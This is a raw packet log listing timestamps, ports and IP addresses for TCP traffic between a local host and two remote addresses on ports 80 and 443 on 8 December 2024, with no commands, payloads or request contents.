Dec 8, 2024 15:38:43.310414076 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.310733080 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.310779095 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.311554909 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.311623096 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.311677933 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.312719107 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.312768936 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.312817097 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.313970089 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.314018965 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.315115929 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.315308094 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.315330029 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.315359116 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.315371990 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.316135883 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.316185951 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.352541924 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.352554083 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.352628946 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.353060007 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.353200912 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.353255033 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.353276014 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.355118036 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.358828068 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.358871937 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.358928919 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.358985901 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.358998060 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.359060049 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.359196901 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.359206915 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.359257936 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.359321117 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.359641075 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.359688997 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.359704018 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.359720945 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.359740973 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.359771013 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.374952078 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.375022888 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.375061989 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.375080109 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.375108957 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.375232935 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.375267982 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.375273943 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.375324965 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.375565052 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.375576019 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.375616074 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.375740051 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.375751972 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.375783920 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.375787020 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.375798941 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.375827074 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.375849009 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.376055956 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.376101971 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.376259089 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.376291990 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.376302004 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.376306057 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.376339912 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.376358986 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.376369953 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.376390934 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.376390934 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.376404047 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.376420975 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.376425028 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.376436949 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.376457930 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.376458883 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.376468897 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.376494884 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.376527071 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.377139091 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.377150059 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.377177954 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.377188921 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.377190113 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.377201080 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.377212048 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.377219915 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.377240896 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.377259016 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.382838964 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.382850885 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.382862091 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.382901907 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.382924080 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.382992983 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.383004904 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.383014917 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.383028984 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.383038044 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.383064985 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.383126974 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.383181095 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.383197069 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.383219004 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.383233070 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.383261919 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.383274078 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.383289099 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.383305073 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.383325100 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.384408951 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.387134075 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.478688955 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.478832006 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.478957891 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.479273081 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.479429960 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.479486942 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.480504990 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.480591059 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.480879068 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.481502056 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.481559992 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.481813908 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.482636929 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.482687950 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.482820988 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.483052969 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.483835936 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.483906031 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.484460115 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.485055923 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.485106945 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.486131907 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.486165047 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.486176968 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.486208916 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.486227036 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.487308979 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.487360954 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.487421989 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.488435030 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.488446951 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.488491058 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.489523888 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.489574909 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.490237951 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.490736961 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.490748882 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.490781069 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.490808010 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.491933107 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.492825031 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.492877960 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.493037939 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.493644953 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.493699074 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.494070053 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.494081974 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.494121075 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.495163918 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.495273113 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.495336056 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.496292114 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.496306896 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.496341944 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.497535944 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.497581005 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.498328924 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.498616934 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.498665094 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.498740911 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.499108076 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.499784946 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.500435114 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.500488997 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.500912905 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.500925064 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.500973940 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.502049923 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.502063036 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.502099991 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.502130032 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.503144979 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.503189087 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.503246069 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.504322052 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.505458117 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.505470037 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.505481005 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.505511045 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.505527020 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.506563902 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.506833076 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.506886959 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.507699013 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.511117935 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.546252012 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.546346903 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.546791077 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.546809912 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.546817064 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.546866894 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.547655106 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.547708035 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.547745943 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.547787905 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.548542023 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.548608065 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.548608065 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.548650980 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.549504995 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.549556971 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.549880028 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.549927950 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.550551891 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.550564051 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.550599098 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.551482916 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.551534891 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.551743031 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.551788092 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.552336931 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.552387953 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.552735090 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.552782059 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.553333998 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.553381920 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.554521084 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.554533005 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.554546118 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.554569006 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.554584026 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.555649042 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.555697918 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.556689024 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.556700945 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.556737900 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.556761980 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.556799889 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.557761908 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.557811975 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.557909012 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.557955027 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.558866024 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.558913946 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.559324980 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.559376955 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.560035944 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.560046911 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.560089111 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.561166048 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.561224937 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.561372042 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.561420918 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.562279940 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.562292099 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.562326908 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.562340021 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.563436985 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.563488007 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.563584089 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.563628912 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.564557076 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.564604998 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.565730095 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.565742016 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.565777063 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.565779924 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.565798044 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.565809011 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.566929102 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.566977024 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.567519903 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.567567110 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.568103075 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.568115950 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.568149090 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.569128036 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.569176912 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.570169926 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.570214033 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.570254087 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.570292950 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.570300102 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.570331097 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.571389914 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.571438074 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.571954966 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.572004080 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.572581053 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.572629929 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.572921038 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.572967052 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.573725939 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.573774099 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.574615002 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.574662924 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.574800014 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.574842930 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.575540066 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.575587034 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.576039076 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.576052904 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.576095104 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.577112913 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.577126026 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.577166080 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.577193022 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.670711994 CET	443	49800	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:43.670778990 CET	443	49800	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:43.670830965 CET	49800	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:43.671050072 CET	49800	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:43.671066046 CET	443	49800	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:43.671077967 CET	49800	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:43.671082973 CET	443	49800	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:43.671264887 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.671322107 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.671463013 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.671504974 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.671901941 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.671952009 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.671988964 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.672027111 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.672961950 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.673010111 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.673289061 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.673331976 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.674185038 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.674282074 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.674314022 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:43.674345016 CET	49805	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:43.674356937 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:43.674385071 CET	443	49805	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:43.674438000 CET	49805	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:43.675179005 CET	49805	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:43.675189018 CET	443	49805	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:43.675223112 CET	80	49787	185.215.113.206	192.168.2.6
